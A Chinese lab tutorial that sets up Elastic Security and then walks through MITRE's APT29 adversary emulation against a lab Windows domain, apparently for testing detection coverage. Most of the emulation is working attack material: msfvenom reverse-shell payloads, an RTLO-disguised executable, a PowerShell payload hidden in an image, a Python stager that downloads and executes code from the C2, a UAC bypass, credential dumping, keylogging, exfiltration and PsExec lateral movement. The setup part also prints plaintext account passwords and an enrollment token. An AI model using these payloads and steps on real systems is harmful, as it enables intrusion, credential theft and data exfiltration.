本文是我在探索和学习ATT&CK框架过程中,搭建本地实验环境的粗略过程。如果你也是跟着Elastic Stack官方文档无法搭建完成,不如回头翻一下我的这篇文章。
ATT&CK框架是什么相信大家都比较熟悉了这里我不做介绍了,选择部署Elastic 安全的原因有两个,一是在做红蓝对抗研究时缺少一款EDR产品用作行为分析和Bypass技术研究,二是Elastic 是唯一参加过ATT&CK官方的评估而且可以免费使用的。
Elastic Security介绍
Elastic Security在一个解决方案中将SIEM威胁检测功能与端点防护和响应功能结合在一起。这些分析和保护功能被Elasticsearch的速度和可扩展性所利用,使分析人员能够在损失和损失发生之前保护组织免受威胁。
Elastic Security提供以下安全优势和功能:
•用于识别攻击和系统错误配置的检测引擎
•用于事件分类和调查的工作空间
•交互式可视化以调查过程关系
•内置的案件管理和自动操作
•使用预建的机器学习异常作业和检测规则检测无特征的攻击
Elastic Security助力分析师防御、检测威胁,并就威胁做出响应。免费、开放的解决方案提供了 SIEM、Endpoint Security、威胁搜寻、云监测等功能。Elastic安全分为SIEM和Endpoint安全两个大“功能”。Elastic的终端安全方案主要由Elastic Agent(终端代理)、Elasticsearch(搜索和分析引擎)和Kibana(数据进行可视化)三大件。Elastic Agent是一种向所有主机添加对日志,指标和其他类型数据的监视的统一方法。单个代理使在整个基础架构中部署监视变得更加轻松快捷。代理程序的单一统一策略使添加新数据源的集成变得更加容易。Fleet在Kibana中提供了一个基于Web的UI,以添加和管理流行服务和平台的集成,以及管理Elastic Agent团队。集成提供了一种轻松的方法来添加新的数据源,此外,它们还附带了现成的资产,如仪表板,可视化效果和管道,可从日志中提取结构化字段。这使得在几秒钟内获得洞察变得更加容易。Elastic Security是Kibana的内置部分。要使用Elastic Security,您只需要部署一个Elastic Stack(一个Elasticsearch集群和Kibana)。
Elastic Security组件和工作流程
数据通过Beat模块和Elastic Endpoint Security代理集成从您的主机传送到Elasticsearch:
•Elastic Endpoint Security-弹性代理集成,可保护您的主机免受恶意软件的侵害并提供以下数据集:
•Windows:进程,网络,文件,DNS,注册表,DLL和驱动程序负载,恶意软件安全检测
•Linux / macOS:进程,网络,文件
•Beat模块:Beat是轻量级的数据托运者。Beat模块提供了一种从常见来源(例如云和操作系统事件,日志和指标)收集和解析特定数据集的方法。
Kibana中的Elastic Security应用程序用于管理检测引擎、Cases和Timeline,以及管理运行Endpoint Security的主机:
•检测引擎:通过以下方式自动搜索可疑的主机和网络活动:
•检测规则:定期搜索主机发送的数据(Elasticsearch索引)以查找可疑事件。发现可疑事件时,将生成检测警报。生成警报时,可以使用外部系统(例如Slack和电子邮件)来发送通知。您可以创建自己的规则并使用我们的预建规则。•例外:减少噪音并减少误报次数。异常与规则相关联,并在满足异常条件时阻止发出警报。值列表包含可用作异常条件一部分的源事件值。在主机上安装Elastic Endpoint Security后,您可以从Security应用程序将恶意软件例外直接添加到端点。•机器学习作业:自动异常检测主机和网络事件。每个主机都提供异常分数,并且可以与检测规则一起使用。•时间轴:用于调查警报和事件的工作区。时间轴使用查询和过滤器来深入分析与特定事件相关的事件。时间线模板附加到规则,并在调查警报时使用预定义的查询。时间线可以保存并与其他人共享,也可以附加到案例中。•案例:直接在Security应用程序中打开,跟踪和共享安全问题的内部系统。案例可以与外部票务系统集成。•管理:查看和管理运行Elastic Endpoint Security的主机。
开启Fleet
Elasticsearch(以下简称es)和Kibana的安装非常简单,此处省略……下面主要记录如何开启Fleet并配置SSL/TLS。
证书生成
使用Elast Agent需要开启SSL,为ES生成私钥和X.509证书。其他的Beats程序(filebeat、winlogbeat等)也都需要添加相应的SSL配置。
1.同时生成CA和服务器证书
elasticsearch-certutil.bat cert ca --pem --ip 10.0.0.X --name master --keep-ca-key --out certs.zip
1.crt 转换成 pem格式:
openssl x509 -in ca.crt -out ca.pem
其他Beats只需要ca.pem即可。Windows系统中安装ca.crt证书时手动选择将证书导出受信任的根颁发机构。Linux系统中将ca.pem复制到/etc/ssl/certs/目录下,运行update-ca-trust或update-ca-certificates。
妥善保管ca.key,再次生成证书时需要。
1.elasticsearch.yml配置增加如下:
xpack.security.enabled: true
xpack.security.http.ssl.enabled: true
xpack.security.transport.ssl.enabled: true
xpack.security.http.ssl.key: certs/master.key
xpack.security.http.ssl.certificate: certs/master.crt
xpack.security.http.ssl.certificate_authorities: certs/ca.crt
xpack.security.transport.ssl.key: certs/master.key
xpack.security.transport.ssl.certificate: certs/master.crt
xpack.security.transport.ssl.certificate_authorities: certs/ca.crt
1.kibana.yml配置修改elasticsearch.ssl.certificateAuthorities如下:
elasticsearch.ssl.certificateAuthorities: [ "D:\\elk\\kibana-7.10.1-windows-x86_64\\config\\certs\\ca.crt" ]
生成密码
生成密码前,需要已经启动ES。
PS D:\ELK\elasticsearch-7.10.1\bin> .\elasticsearch-setup-passwords.bat auto
Initiating the setup of passwords for reserved users elastic,apm_system,kibana,kibana_system,logstash_system,beats_system,remote_monitoring_user.
The passwords will be randomly generated and printed to the console.
Please confirm that you would like to continue [y/N]y
Changed password for user apm_system
PASSWORD apm_system = VfD5gOgdoJu3AeQCEk52
PASSWORD kibana_system = bo7AkvpKixyU9wOzZ9ob
Changed password for user kibana
PASSWORD kibana = bo7AkvpKixyU9wOzZ9ob
Changed password for user logstash_system
PASSWORD logstash_system = I8D0VG5H1csHDatR7bmB
Changed password for user beats_system
PASSWORD beats_system = Tyd1zP7T7a8WIF3fpZiR
Changed password for user remote_monitoring_user
PASSWORD remote_monitoring_user = Kn77JNDaNuUMyvBOOfxI
Changed password for user elastic
PASSWORD elastic = wRdchJt8yNAOX8WHdCE6 已改为password
kibana-7.10.1 增加额外的配置,kibana.yml:
elasticsearch.hosts: ["https://10.0.0.X:9200"]
elasticsearch.username: "kibana_system"
elasticsearch.password: "bo7AkvpKixyU9wOzZ9ob"
xpack.fleet.enabled: true
xpack.fleet.agents.tlsCheckDisabled: true
xpack.encryptedSavedObjects.encryptionKey: "something_at_least_32_characters"
xpack.security.enabled: true
Beats配置
winlogbeat、Filebeat等yaml格式的配置文件一般只需要添加或许该如下配置:
output.elasticsearch:
hosts: ["10.0.0.2:9200"]
protocol: "https"
username: "elastic"
password: "password"
ssl.certificate_authoritoes: "/home/ubuntu/ca/ca.pem"
安装Elastic Agent
Elastic Agent安装和注册已包含在Fleet中但是该功能目前处于Bata版本,官方文档也并不全。在agent的配置文件中写ssl配置根本不生效,好像代码还没有实现,而golang写的程序默认与系统的证书信任关系有关。所以在Windows上必须导入生成的ca.crt证书,必须是导入此计算机,不能是此用户。
添加Agent
从Fleet页面添加agent,自动生成注册命令。将elastic-agent安装包复制到目标系统,运行注册命令。
.\elastic-agent.exe install -f --kibana-url=http://10.0.0.X:5601 --enrollment-token=d3dUQV9IWUJIOVlqUjN6OF9Za0k6MkJLYS1MQzhRSXViZzh5QmhhU3JlQQ==
确认Agent状态
需要确认三处:1. Status是Online,2. Data streams有数据,3. es的控制台实时日志没有报错。
如果出现bad_certificate错误,再检查证书生成和安装的步骤和过程。
查看Security/Overview是否有数据。
开启检测规则
Elastic Security的检测引擎规则已在GitHub上开源。开启规则需要手动点击每个要开启的规则,还好规则不多。
使用Elastic
Elastic Agent默认收集以下数据源:
•Process – Linux, macOS, Windows•Network – Linux, macOS, Windows•File – Linux, macOS, Windows•DNS – Window•Registry – Windows•DLL and Driver Load – Windows•Security – Windows
要用主机和网络安全事件发送到Elastic Security,需要在要从中提取安全事件的主机上安装和配置Beats:
•Filebeat用于转发和集中日志和文件•Auditbeat用于收集安全事件•Winlogbeat用于集中Windows事件日志•Packetbeat用于分析网络活动
可以使用Kibana UI或直接从命令行安装Beats。
代理策略
使用代理策略管理代理及其收集的数据。不同的操作系统可以使用集成应用不同,所以应创建不同的代理策略以应用于不同的系统。
新建一个命名为Windows的策略,添加“Endpoint Security”,“windows”集成,安装并配置Sysmon。
一个针对Windows系统的策略已配置完成。将策略下发给代理即可。
后续
在搭建完毕基本环境后,我们将在此环境中进行ATT&CK官方指导的APT29对手模拟。
参考链接
•https://www.elastic.co/guide/en/elasticsearch/reference/7.10/configuring-tls.html#node-certificates
•https://www.elastic.co/guide/en/fleet/7.10/fleet-quick-start.html
•https://www.elastic.co/cn/blog/configuring-ssl-tls-and-https-to-secure-elasticsearch-kibana-beats-and-logstash
•https://github.com/elastic/kibana/issues/73483
•https://www.elastic.co/cn/downloads/elastic-agent
•https://www.elastic.co/guide/en/fleet/current/index.html
•https://github.com/elastic/detection-rules
在搭建完Elastic Security的环境后,我们尝试复现ATT&CK Evaluations中APT29的评估过程,已验证我们所搭建的环境是否满足需求。以下内容主要从自https://github.com/mitre-attack/attack-arsenal/,在本地复现过程中修改了部分内容。
如果你有一套自认为还不错的SOC或SIEM,不妨在你的真实环境中使用以下评估方法进行成熟度评估。看看对ATT&CK框架的覆盖度能达到百分之多少,是否还存在可以提高的防御环节。
评估环境准备
ATT&CK给出的拓扑和系统要求。
根据我们自己的Lab环境修改如下:
IP | OS-Name | OS | 备注 |
10.0.0.101 | PC | Windows10 with Office 2019 | |
10.0.0.102 | PC1 | Windows10 | |
10.0.0.103 | PC2 | Windows10 | |
10.0.0.104 | PC3 | Windows10 with Office 2019 | |
10.0.0.100 | DC01 | DC Windows Server 2019 Datacenter | apt.local |
10.0.0.200 | Team Server | Pupy/Metasploit/PoshC2 | Kali |
10.0.0.199 | Redirector Server | Socat | Ubuntu18 |
受害者系统准备
1. 安装一个Windows Server 2019 Datacenter,一个Windows10 Pro 1903,然后克隆虚拟机。重新打开每个虚拟机运行Sysprep重置系统信息。安装包:ed2k://|file|cn_windows_server_2019_x64_dvd_4de40f33.iso|5086887936|7DCDDD6B0C60A0D019B6A93D8F2B6D31|/ ed2k://|file|cn_windows_10_business_edition_version_1903_updated_june_2019_x64_dvd_830837d9.iso|5032351744|DFF5FF3B87D209D16ECE7543255FA573|/2.修改计算机名、加入apt.local域3.新建jack、john两个域账户并添加到Domain Admin组,密码为Passw0rd!4.关闭自动更新,也可以加入域后通过组策略禁止更新。5.使用DefenderControl关闭Windows Defender。6.开启RDP,授予用户远程登陆权限。7.通过域组策略将UAC设置为从不通知。
8. 通过组策略修改注册表以允许存储明文凭据
参考:https://www.praetorian.com/blog/mitigating-mimikatz-wdigest-cleartext-credential-theft/?edition=2019
9. 使用OfficeTools部署office 201910.安装Chrome浏览器11.每个PC都开启WinRM
Enable-PSRemoting -Force
Set-Service WinRM -StartMode Automatic
Get-WmiObject -Class win32_service |Where-Object {$_.name-like"WinRM"}
Set-Item wsman:\localhost\Client\TrustedHosts -value10.0.0.*
Get-Item WSMan:\localhost\Client\TrustedHosts
红队系统设置
TeamServer
IP:10.0.0.200
1.安装Pupy (由于生成的exe无法正常工作,由Metasploit代替。)
sudo docker image pull cyb3rward0g/docker-pupy:f8c829dd66449888ec3f4c7d086e607060bca892
sudo docker tag cyb3rward0g/docker-pupy:f8c829dd66449888ec3f4c7d086e607060bca892 docker-pupy
sudo docker run --rm -it -p 1234:1234 docker-pupy python pupysh.py
sudo docker run --rm -it -p 1234:1234 -v "/opt/payloads:/tmp/payloads" docker-pupy python pupysh.py
sudo docker run --rm -it -p 1234:1234 -v "/opt/attack-platform:/tmp/attack-platform" docker-pupy python pupysh.py
2.安装PoshC2
curl -sSL https://raw.githubusercontent.com/nettitude/PoshC2/master/Install.sh | sudo bash
sudo posh-project -n posh1
sudo posh-config
3.克隆官方仓库 git clone https://github.com/mitre-attack/attack-arsenal.git
4.从/ var / www / webdav提供的WebDAV共享服务
sudo apt install apache2
sudo mkdir /var/www/webdav
sudo chown -R www-data:www-data /var/www/
sudo a2enmod dav
sudo a2enmod dav_fs
sudo vim /etc/apache2/sites-available/000-default.conf
sudo systemctl restart apache2.service
参考:https://www.digitalocean.com/community/tutorials/how-to-configure-webdav-access-with-apache-on-ubuntu-14-04
5.将有效负载复制到webdav共享
sudo cp ~/day1/payloads/python.exe /var/www/webdav/
cd /var/www/webdav
sudo chown -R www-data:www-data python.exe
Redirector
IP:10.0.0.199
1.安装Socat Sudo apt install socat
2.在Redirector上使用Socat设置端口转发: sudo socat TCP-LISTEN:443,fork TCP:10.0.0.200:443 & sudo socat TCP-LISTEN:1234,fork TCP:10.0.0.200:1234 & sudo socat TCP-LISTEN:8443,fork TCP:10.0.0.200:8443 &
第1天
Payload生成
关于红队有效载荷的说明 请参阅payload_configs.md,构建自己的Payload。所有新生成的payload在~/payloads/day1/目录下。
Payload1:cod.3aka3.scr
Pupy错误太多,使用metasploit替代 msfvenom -p windows/x64/meterpreter/reverse_tcp_rc4 -f exe LHOST=10.0.0.199 LPORT=1234 RC4PASSWORD=msf -o cod.3aka3.scr
然后在windows平台重命名,参考https://redcanary.com/blog/right-to-left-override/
Payload2:Privilege Escalation Payload (monkey.png)
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.0.0.199 LPORT=443 --format psh -o meterpreter.ps1
在使用Invoke-PSImage合成图片和payload(选择的图片像素一定要大于脚本字节,以一个像素存放一个字节,生成的base64编码后的值替换步骤三里的!)
Import-Module .\Invoke-PSImage.ps1
Invoke-PSImage -Script .\meterpreter.ps1 -Out .\monkey.png -Image .\1.jpg
sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap("C:\Users\jack\Desktop\monkey.png");$o=a Byte[] 3840;(0..1)|%{foreach($x in(0..1919)){$p=$g.GetPixel($x,$_);$o[$_*1920+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString($o[0..3643]))
# 修改图片路径
#Base64编码
$text="sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap("C:\Users\jack\Downloads\monkey.png");$o=a Byte[] 3840;(0..1)|%{foreach($x in(0..1919)){$p=$g.GetPixel($x,$_);$o[$_*1920+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString($o[0..3643]))"
[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($text))
cwBhAGwAIABhACAATgBlAHcALQBPAGIAagBlAGMAdAA7AEEAZABkAC0AVAB5AHAAZQAgAC0AQQAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACQAZwA9AGEAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALgBCAGkAdABtAGEAcAAoACIAQwA6AFwAVQBzAGUAcgBzAFwAagBhAGMAawBcAEQAbwB3AG4AbABvAGEAZABzAFwAbQBvAG4AawBlAHkALgBwAG4AZwAiACkAOwAkAG8APQBhACAAQgB5AHQAZQBbAF0AIAAzADgANAAwADsAKAAwAC4ALgAxACkAfAAlAHsAZgBvAHIAZQBhAGMAaAAoACQAeAAgAGkAbgAoADAALgAuADEAOQAxADkAKQApAHsAJABwAD0AJABnAC4ARwBlAHQAUABpAHgAZQBsACgAJAB4ACwAJABfACkAOwAkAG8AWwAkAF8AKgAxADkAMgAwACsAJAB4AF0APQAoAFsAbQBhAHQAaABdADoAOgBGAGwAbwBvAHIAKAAoACQAcAAuAEIALQBiAGEAbgBkADEANQApACoAMQA2ACkALQBiAG8AcgAoACQAcAAuAEcALQBiAGEAbgBkADEANQApACkAfQB9ADsAJABnAC4ARABpAHMAcABvAHMAZQAoACkAOwBJAEUAWAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABvAFsAMAAuAC4AMwA2ADQAMwBdACkAKQA=
Payload3:Persistence readme.txt
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.0.0.199 LPORT=443 --format psh-cmd
生成的内容,替换payloads/SysinternalsSuite/readme.txt中816行的内容。
Payload4:javamtsup.exe
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.0.0.199 LPORT=443 -f exe-service -o javamtsup.exe
Payload5:python.exe
msfvenom -p python/meterpreter/reverse_https LHOST=10.0.0.199 LPORT=8443 -o python.py
编辑python.py文件,保留base64解码后的内容,添加import imp
import zlib,base64,sys,imp
vi=sys.version_info
ul=__import__({2:"urllib2",3:"urllib.request"}[vi[0]],fromlist=["build_opener","HTTPSHandler"])
hs=[]
if (vi[0]==2 and vi>=(2,7,9)) or vi>=(3,4,3):
import ssl
sc=ssl.SSLContext(ssl.PROTOCOL_SSLv23)
sc.check_hostname=False
sc.verify_mode=ssl.CERT_NONE
hs.append(ul.HTTPSHandler(0,sc))
o=ul.build_opener(*hs)
o.addheaders=[("User-Agent","Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko")]
exec(zlib.decompress(base64.b64decode(o.open("https://10.0.0.199:8443/6BvQGFrYcU7EadF9pFikEAwLkBa1sLGV6TWrXtvxZLd6Pm_-FeXhgEgxLQgfwo1dKoy5e8UIhG2D1EpXfP8l8kg6GuOAMd_chLdrpDQrTHahqBKkbu3hEM_g94kQW0FG2u05ezCs-_").read())))
在Windows中编译,必须使用python3:pyinstaller -F python.py
使用Upx压缩:upx --brute python.exe
Payload 6:psvcersion.txt
需要提前修改psvcersion.txt中webdav信息。脚本里安装7zip4Powershell会超时导致命令失败,所以应该提前在受害者系统中安装7zip4Powershell。可能需要翻墙。删除psvcersion.txt第231行。
设置攻击平台,相关文件在~/payloads/day1/文件夹下:
1.从以下网址下载Chrome密码转储工具:https://github.com/adnan-alhomssi/chrome-passwords/raw/master/bin/chrome-passwords.exe2.从以下位置下载SysInternals zip文件夹:https://download.sysinternals.com/files/SysinternalsSuite.zip3.解压SysinternalsSuite.zip; 将以下文件复制到SysInternalsSuite目录中:a) readme.txt b) psversion.txt(修改webdav配置) c) chrome-passwords.exe(重命名为accessChk.exe) d) strings64.exe(从hostui.cpp编译)4.压缩修改的SysinternalsSuite文件夹
受害者设置
对于2个受害工作站:
1.以具有管理员权限的用户身份登录。2.PC安装英语并作为显示语言。3.验证用户在C:\Windows\Temp目录中具有读/写/执行权限4.安装7Zip4Powershell ,Powershell > Install-Module -Name 7Zip4Powershell -Force
5.导入证书payloads/day1/shockwave.local.pfx,使用PowerShell导入证书:Import-PfxCertificate -Exportable -FilePath "shockwave.local.pfx" -CertStoreLocation Cert:\LocalMachine\My
开始
添加RTLO字符并将rcs.3aka3.doc放置在受害者桌面上。
Step 1 – 初始违规
最初的违规行为是合法用户单击(T1204)伪装成良性单词文档的可执行有效载荷(屏幕保护程序可执行文件)(T1036)。一旦执行,有效负载就使用RC4密码在端口1234(T1065)上创建C2连接。然后,攻击者使用活动的C2连接生成交互式cmd.exe(T1059)和powershell.exe(T1086)Shell。
1.A
TeamServer: $ sudo msfconsole
使用APT\jack登录到PC。双击桌面的3aka3.doc。这会将反向外壳发送到TeamServer服务器。
1.B
meterpreter > shell
C:\Users\jack\Desktop>powershell
PS C:\Users\jack\Desktop>
Step 2 – 快速收集和渗出
攻击者运行单行命令,以搜索文件系统中的文档和媒体文件(T1083,T1119),收集(T1005)并将内容压缩(T1002)为单个文件(T1074)。然后通过现有的C2连接来提取文件(T1041)。
2.A
PS >$env:APPDATA;$files=ChildItem -Path $env:USERPROFILE\ -Include *.doc,*.xps,*.xls,*.ppt,*.pps,*.wps,*.wpd,*.ods,*.odt,*.lwp,*.jtd,*.pdf,*.zip,*.rar,*.docx,*.url,*.xlsx,*.pptx,*.ppsx,*.pst,*.ost,*psw*,*pass*,*login*,*jack*,*sifr*,*sifer*,*vpn,*.jpg,*.txt,*.lnk -Recurse -ErrorAction SilentlyContinue | Select -ExpandProperty FullName; Compress-Archive -LiteralPath $files -CompressionLevel Optimal -DestinationPath $env:APPDATA\Draft.Zip -Force
PS C:\Users\jack\Desktop> exit
C:\Users\jack\Desktop>exit
meterpreter >
2.B
meterpreter > download "c:\Users\jack\AppData\Roaming\Draft.zip" .
成功下载到TeamServer服务器。
Step 3 – 部署Stealth工具包
攻击者现在向受害者上载新的有效载荷(T1105)。有效负载是带有隐藏PowerShell脚本(T1027)的合法形成的图像文件。然后,攻击者通过用户帐户控制(UAC)旁路(T1122,T1088)提升特权,该旁路执行新添加的有效负载。使用HTTPS协议(T1071,T1032)在端口443(T1043)上建立了新的C2连接。最后,攻击者从注册表中删除特权升级的工件(T1112)。
3.A
新建一个终端运行msfconsole
[msf] >handler -H 0.0.0.0 -P 443 -p windows/x64/meterpreter/reverse_https
在上一个meterpreter shell中,将monkey.png上传到目标:
meterpreter >upload /home/kali/payloads/day1/monkey.png "C:\Users\jack\Downloads\monkey.png"
meterpreter>shell
meterpreter > powershell
meterpreter (PS C:\Users\jack\Desktop)>
3.B
meterpreter (PS C:\Users\jack\Desktop)> New-Item -Path HKCU:\Software\Classes -Name Folder -Force;
meterpreter (PS C:\Users\jack\Desktop)>New-Item -Path HKCU:\Software\Classes\Folder -Name shell -Force;
meterpreter (PS C:\Users\jack\Desktop)>New-Item -Path HKCU:\Software\Classes\Folder\shell -Name open -Force;
meterpreter (PS C:\Users\jack\Desktop)>New-Item -Path HKCU:\Software\Classes\Folder\shell\open -Name command -Force;
meterpreter (PS C:\Users\jack\Desktop)> Set-ItemProperty -Path "HKCU:\Software\Classes\Folder\shell\open\command" -Name "(Default)"
当提示您输入值时,粘贴以下1-liner: powershell.exe -noni -noexit -ep bypass -window hidden -ec cwBhAGwAIABhACAATgBlAHcALQBPAGIAagBlAGMAdAA7AEEAZABkAC0AVAB5AHAAZQAgAC0AQQAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACQAZwA9AGEAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALgBCAGkAdABtAGEAcAAoACIAQwA6AFwAVQBzAGUAcgBzAFwAagBhAGMAawBcAEQAbwB3AG4AbABvAGEAZABzAFwAbQBvAG4AawBlAHkALgBwAG4AZwAiACkAOwAkAG8APQBhACAAQgB5AHQAZQBbAF0AIAAzADgANAAwADsAKAAwAC4ALgAxACkAfAAlAHsAZgBvAHIAZQBhAGMAaAAoACQAeAAgAGkAbgAoADAALgAuADEAOQAxADkAKQApAHsAJABwAD0AJABnAC4ARwBlAHQAUABpAHgAZQBsACgAJAB4ACwAJABfACkAOwAkAG8AWwAkAF8AKgAxADkAMgAwACsAJAB4AF0APQAoAFsAbQBhAHQAaABdADoAOgBGAGwAbwBvAHIAKAAoACQAcAAuAEIALQBiAGEAbgBkADEANQApACoAMQA2ACkALQBiAG8AcgAoACQAcAAuAEcALQBiAGEAbgBkADEANQApACkAfQB9ADsAJABnAC4ARABpAHMAcABvAHMAZQAoACkAOwBJAEUAWAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABvAFsAMAAuAC4AMwA2ADQAMwBdACkAKQA=
meterpreter (PS C:\Users\jack\Desktop)> Set-ItemProperty -Path "HKCU:\Software\Classes\Folder\shell\open\command" -Name "DelegateExecute" -Force
当提示您输入值时,请按:[Enter]
查看是否正确:
Get-item -Path "HKCU:\Software\Classes\Folder\shell\open\command"
meterpreter (PS C:\Users\jack\Desktop)> exit
C:\Users\jack\Desktop> %windir%\system32\sdclt.exe
获得一个高权限的Meterpreter会话。
3.C
C:\Users\jack\Desktop> powershell
PS C:\Users\jack\Desktop> Remove-Item -Path HKCU:\Software\Classes\Folder* -Recurse -Force
PS C:\Users\jack\Desktop>exit
[meterpreter (CMD)] >exit
Step 4 – 防御逃避与发现
攻击者在产生交互式powershell.exe shell(T1086)之前,通过新的提升的访问权限上载了其他工具(T1105)。附加工具已解压缩(T1140),并放置在目标上以便使用。然后,攻击者枚举正在运行的进程(T1057)终止步骤1初始访问的进程,然后删除与该访问相关的各种文件(T1107)。最后,攻击者启动一个PowerShell脚本,该脚本执行各种侦察命令(T1083,T1033,T1082,T1016,T1057,T1063,T1069),其中一些是通过访问Windows API(T1106)完成的。
4.A
第二个终端的msfconsole
[msf] > sessions -i 1
[meterpreter] > upload /home/kali/payloads/day1/SysinternalsSuite.zip "C:\\Users\\jack\\Downloads\\SysinternalsSuite.zip"
[meterpreter] > execute -f powershell.exe -i -H
PS C:\Program Files\SysinternalsSuite> Expand-Archive -LiteralPath "C:\\Users\\jack\\Downloads\\SysinternalsSuite.zip" -DestinationPath "C:\\Users\\jack\\Downloads\\"
PS C:\Users\jack\Desktop> if (-Not (Test-Path -Path "C:\Program Files\SysinternalsSuite")) { Move-Item -Path C:\\Users\\jack\\Downloads\\SysinternalsSuite -Destination "C:\Program Files\SysinternalsSuite" }
PS C:\Users\jack\Desktop> cd "C:\Program Files\SysinternalsSuite\"
4.B PS C:\Program Files\SysinternalsSuite> Get-Process
PS C:\Program Files\SysinternalsSuite> Stop-Process -Id 4224 -Force
第一个终端的rc4会话关闭。
PS C:\Program Files\SysinternalsSuite> Gci $env:userprofile\Desktop
PS C:\Program Files\SysinternalsSuite> .\sdelete64.exe /accepteula "$env:USERPROFILE\Desktop\?cod.3aka3.scr"
PS C:\Program Files\SysinternalsSuite> .\sdelete64.exe /accepteula "$env:APPDATA\Draft.Zip"
PS C:\Program Files\SysinternalsSuite>.\sdelete64.exe /accepteula "$env:USERPROFILE\Downloads\SysinternalsSuite.zip"
PS C:\Program Files\SysinternalsSuite> Move-Item .\readme.txt readme.ps1
PS C:\Program Files\SysinternalsSuite>. .\readme.ps1
4.C
PS C:\Program Files\SysinternalsSuite> Invoke-Discovery
Step 5 – 持久性
攻击者通过创建新服务(T1050)和在Windows启动文件夹(T1060)中创建恶意有效负载,建立了两种不同的持久访问受害者的方法。
5.A
PS C:\Program Files\SysinternalsSuite> Invoke-Persistence -PersistStep 1
5.B
PS C:\Program Files\SysinternalsSuite> Invoke-Persistence -PersistStep 2
Step 6 – 凭证访问
攻击者使用重命名为伪装成合法实用工具(T1036)的工具访问存储在本地Web浏览器(T1081,T1003)中的凭据。然后,攻击者会收获私钥(T1145)和密码哈希(T1003)。
6.A
PS C:\Program Files\SysinternalsSuite> & "C:\Program Files\SysinternalsSuite\accesschk.exe"
6.B PS C:\Program Files\SysinternalsSuite> Get-PrivateKeys
PS C:\Program Files\SysinternalsSuite> exit
6.C
[meterpreter] >run post/windows/gather/credentials/credential_collector
Step 7 – 收集和渗出
攻击者收集屏幕截图(T1113),来自用户剪贴板的数据(T1115)和键盘记录(T1056)。然后,攻击者收集文件(T1005),将其压缩(T1002)和加密(T1022),然后再将其上传至攻击者控制的WebDAV共享(T1048)。
7.A
[meterpreter] >execute -f powershell.exe -i -H
PS C:\Program Files\SysinternalsSuite> cd "C:\Program Files\SysinternalsSuite"
PS C:\Program Files\SysinternalsSuite> Move-Item .\psversion.txt psversion.ps1
PS C:\Program Files\SysinternalsSuite>. .\psversion.ps1
PS C:\Program Files\SysinternalsSuite> Invoke-ScreenCapture;Start-Sleep -Seconds 3;View-Job -JobName "Screenshot"
键入文本并复制到剪贴板。
PS C:\Program Files\SysinternalsSuite>Get-Clipboard
PS C:\Program Files\SysinternalsSuite> Keystroke-Check
PS C:\Program Files\SysinternalsSuite>Get-Keystrokes;Start-Sleep -Seconds 15;View-Job -JobName "Keystrokes"
在受害者系统中,输入击键。
PS C:\Program Files\SysinternalsSuite> View-Job -JobName "Keystrokes"
PS C:\Program Files\SysinternalsSuite>Remove-Job -Name "Keystrokes" -Force
PS C:\Program Files\SysinternalsSuite>Remove-Job -Name "Screenshot" -Force
7.B
PS C:\Program Files\SysinternalsSuite>Invoke-Exfil
注意如果失败,请检查事都按照Payload生成中payload6描述的方式进行修改。手动安装7Zip4Powershell,脚本里会超时。这一步可以提前增加到环境准备里。
Step 8 – 横向运动
攻击者在创建与第二受害者的远程PowerShell会话之前,使用轻型目录访问协议(LDAP)查询来枚举域中的其他主机(T1018)。通过此连接,攻击者枚举了正在运行的进程(T1057)。接下来,攻击者将新的UPX打包有效负载(T1045,T1105)上载到第二受害者。通过先前使用的凭证(T1078)通过PSExec实用程序(T1077,T1035)在第二受害者上执行此新的有效负载。
8.A
切换至Meterpreter shell:
PS C:\Program Files\SysinternalsSuite> Ad-Search Computer Name *
PS C:\Program Files\SysinternalsSuite>Invoke-Command -ComputerName PC1 -ScriptBlock { Get-Process -IncludeUserName | Select-Object UserName,SessionId | Where-Object { $_.UserName -like "*\$env:USERNAME" } | Sort-Object SessionId -Unique } | Select-Object UserName,SessionId
这里要写主机名,而不是IP。需要提前远程桌面到第二受害者,因为需要一个非0的session提供横向移动。注意步骤8C的会话ID。
8.B
新建一个终端启动msfconsole
[msf] > handler -H 0.0.0.0 -P 8443 -p python/meterpreter/reverse_https
回到当前Meterpreter session:
PS C:\Program Files\SysinternalsSuite>Invoke-SeaDukeStage -ComputerName PC1
8.C
通过PSEXEC远程执行python.exe
PS C:\Program Files\SysinternalsSuite>.\PsExec64.exe -accepteula \\PC1 -u "apt.local\jack" -p "Passw0rd!" -i 5 "C:\Windows\Temp\python.exe"
获得一个meterpreter会话。
Step 9 – 收集
攻击者在运行PowerShell单线命令(T1086)之前搜索其他文件(T1083,T1119),然后将其实用程序上载到第二受害者(T1105)。收集感兴趣的文件(T1005),然后加密(T1022)并压缩(T1002)为单个文件(T1074)。然后,该文件通过现有的C2连接进行窃听(T1041)。最后,攻击者删除与该访问关联的各种文件(T1107)。
9.A
进入meterpreter python会话
[msf] > sessions
[msf] >sessions -i 1
[meterpreter] > upload "/home/kali/payloads/day1/Seaduke/rar.exe" "C:\\Windows\\Temp\\Rar.exe"
[meterpreter] > upload "/home/kali/payloads/day1/SysinternalsSuite/sdelete64.exe" "C:\\Windows\\Temp\\sdelete64.exe"
9.B
[meterpreter] > execute -f powershell.exe -i -H
